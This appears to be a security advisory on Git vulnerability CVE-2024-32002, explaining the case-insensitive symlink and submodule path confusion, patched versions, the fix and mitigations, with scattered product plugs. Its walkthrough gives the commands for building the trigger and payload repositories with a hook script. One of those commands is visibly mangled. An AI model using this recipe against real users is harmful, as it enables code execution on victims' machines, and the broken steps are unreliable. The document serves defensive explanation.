Vulnerability Overview: CVE-2024-32002

CVE-2024-32002 represents a critical logic flaw in the Git core, specifically affecting the way submodules are processed on case-insensitive filesystems. This vulnerability allows for Remote Code Execution (RCE) during a recursive clone operation. By exploiting a naming collision between a directory and a symbolic link—distinguishable only by character case—an attacker can trick Git into writing malicious hook scripts directly into the .git/hooks directory of the parent repository. Because Git hooks are executed automatically during certain lifecycle events, such as the completion of a checkout, the attacker gains the ability to run arbitrary code on the victim's machine without additional user interaction beyond the initial git clone --recursive command.

The flaw is rooted in the filesystem abstraction layers of operating systems like Windows and macOS, which treat EXAMPLE and example as the same path. Git, while maintaining internal case sensitivity in many operations, fails to properly validate that a submodule’s target path does not overlap with an existing symbolic link on these platforms. This path traversal-like behavior bypasses the security boundaries intended to keep submodule content isolated from the parent repository's administrative .git directory.

Technical Mechanism: Case-Insensitivity Confusion

The core of the issue lies in the interaction between the core.ignoreCase configuration and the way Git handles symbolic links. In a standard repository structure, the .git directory is a protected space where configuration, object databases, and hooks reside. Hooks are scripts that Git executes at specific points; for instance, post-checkout runs after files are checked out to the working tree. Under normal circumstances, these hooks are never pulled from a remote repository; they must be manually created or configured by the user to prevent RCE.

To exploit CVE-2024-32002, an attacker leverages a case-insensitive naming conflict. If a repository contains a symbolic link named a (lowercase) that points to the .git directory, and simultaneously defines a submodule with a path starting with A (uppercase), a collision occurs on Windows and macOS. When Git attempts to initialize the submodule at A/modules/payload, the operating system resolves A to the existing symbolic link a. Consequently, Git follows the symlink and writes the submodule's data into .git/modules/payload.

By crafting the submodule repository to contain a directory structure that mirrors the internal Git hook directory, the attacker can place a malicious script at a location like .git/hooks/post-checkout. When the recursive clone finishes checking out the submodule, Git triggers the post-checkout hook, executing the payload. Organizations should integrate Secably into their CI/CD pipelines to scan for such misconfigurations and ensure that no malicious submodules are introduced into internal codebases.

The Symbolic Link Trigger

The exploitation requires core.symlinks to be set to true, which is the default for most Git installations on macOS and Windows. The symlink acts as a bridge. When Git processes the main repository, it creates the symlink a -> .git. Subsequently, when the recursive flag is used, Git begins processing the submodules. The logic responsible for submodule checkout does not sufficiently verify if the target directory is a "real" directory or a symbolic link that redirects into a sensitive area.

# Conceptual repository structure for exploitation
MainRepo/
├── .gitmodules (defines submodule at path "A/modules/x")
└── a (symlink pointing to ".git")

SubmoduleRepo/
└── hooks/
    └── post-checkout (malicious script)

On a case-insensitive system, the path A/modules/x is functionally equivalent to a/modules/x. Since a is a symlink to .git, the final path becomes .git/modules/x. This allows the submodule's internal structure to overwrite or add files within the parent repository's .git folder.

Affected Versions and Environment Requirements

The vulnerability impacts various Git release tracks. The primary condition for vulnerability is the combination of a case-insensitive filesystem and a Git version earlier than the patched releases issued in May 2024. Discovering vulnerable Git server instances or exposed repositories in an enterprise environment can be accelerated using Zondex, which identifies services that may be running outdated or misconfigured version control software.

Git Release Track Vulnerable Versions Patched Version
2.45.x < 2.45.1 2.45.1
2.44.x < 2.44.1 2.44.1
2.43.x < 2.43.4 2.43.4
2.42.x < 2.42.2 2.42.2
2.41.x < 2.41.1 2.41.1
2.40.x < 2.40.2 2.40.2
2.39.x < 2.39.4 2.39.4

While Linux systems using case-sensitive filesystems (like ext4 by default) are generally not susceptible to this specific case-confusion attack, they can become vulnerable if they mount case-insensitive partitions or use filesystems like JFS or XFS with case-insensitive options enabled. Security researchers investigating malicious repositories often utilize GProxy to anonymize traffic when interacting with untrusted Git hosts, preventing the leakage of researcher IP addresses during the cloning of potential PoC repositories.

Deep Dive: Submodule Checkout Logic

In the Git source code, the submodule checkout process involves several steps where the path is validated. The vulnerability exists because the validation logic used lstat() or similar calls that did not account for the case-insensitive alias of a symbolic link. Specifically, when Git checks if a directory exists before creating it, the check if (dir_exists("A")) returns true because a exists. However, Git then proceeds to use that path for file writes, assuming it is a standard directory.

The Submodule Helper Change

The fix for CVE-2024-32002 involved significant changes to builtin/submodule--helper.c. A new function, dir_contains_only_dotgit, was introduced to add a layer of protection. This function ensures that when Git is preparing a directory for a submodule, it explicitly checks whether the path is shadowed by a symbolic link or if it points into the .git directory. The patch also enforces stricter checks in check_submodule_move_head to prevent submodules from being checked out into paths that collide with existing tracked symbolic links.

// Simplified logic of the patch fix in submodule--helper.c
static int dir_contains_only_dotgit(const char *path)
{
    DIR *dir = opendir(path);
    struct dirent *e;
    int ret = 1;

    if (!dir)
        return 0;
    while ((e = readdir(dir))) {
        if (is_dot_or_dotdot(e->d_name))
            continue;
        if (strcmp(e->d_name, ".git")) {
            ret = 0;
            break;
        }
    }
    closedir(dir);
    return ret;
}

This implementation ensures that Git verifies the contents and the nature of the target directory before committing to a write operation, effectively breaking the symlink-following chain required for the exploit.

Exploitation Walkthrough

Exploitation typically involves a multi-stage repository setup. An attacker first creates a "payload" repository that will serve as the submodule. This repository contains the malicious script. The second "trigger" repository is the one the victim actually clones. It contains the .gitmodules file and the case-conflicting symlink.

Step 1: Payload Repository Preparation

The attacker creates a repository where the directory structure mimics the expected Git internal paths. A script is placed in a folder that will eventually be mapped to .git/hooks.

mkdir -p "hooks"
cat < hooks/post-checkout
#!/bin/sh
echo "Vulnerability Exploited"
open -a Calculator
EOF
chmod +x hooks/post-checkout
git add hooks/post-checkout
git commit -m "Add payload"

Step 2: Trigger Repository Preparation

The attacker creates the main repository on a case-sensitive system (to allow the initial creation of the conflicting names) and pushes it to a hosting provider. The symlink is created to point to .git.

git init main-repo
cd main-repo
ln -s .git a
git add a
git commit -m "Add symlink"
git submodule add https://github.com/attacker/payload "A/modules/x"
git commit -m "Add conflicting submodule"

When a victim on a case-insensitive system runs git clone --recursive https://github.com/attacker/main-repo, Git creates a. Then it attempts to clone the submodule into A/modules/x. Because A matches a, the submodule files are written into .git/modules/x. If the attacker adjusts the submodule path slightly to align with the standard hook directory, the post-checkout script is successfully placed and executed.

Mitigation and Defense-in-Depth

The primary mitigation for CVE-2024-32002 is upgrading Git to the latest patched version. For environments where immediate patching is not possible, several configuration-based workarounds can reduce the attack surface.

  • Disable Symbolic Links: Setting git config --global core.symlinks false prevents Git from creating the initial symlink that triggers the path redirection. However, this may break repositories that legitimately rely on symlinks.
  • Avoid Recursive Clones: Manually auditing .gitmodules files before running git submodule update --init allows developers to spot suspicious paths or nested submodules.
  • Filesystem Hardening: On macOS and Windows, using case-sensitive disk images for development work can eliminate the root cause of the case-confusion, though this is often impractical for standard workflows.

Security teams should also monitor for unusual process activity following Git operations. The execution of shell scripts or binaries from within a .git/hooks directory immediately after a clone is a strong indicator of compromise. Modern EDR (Endpoint Detection and Response) solutions can be configured to alert on such behavior, particularly when the parent process is git.exe or git-submodule.

In addition to client-side updates, Git hosting providers have implemented server-side checks to block the pushing of repositories containing these specific malicious patterns. By using fsck checks on the server, providers can reject commits that include case-conflicting paths that are known to target this vulnerability, providing a layer of protection even for users who have not yet updated their local clients.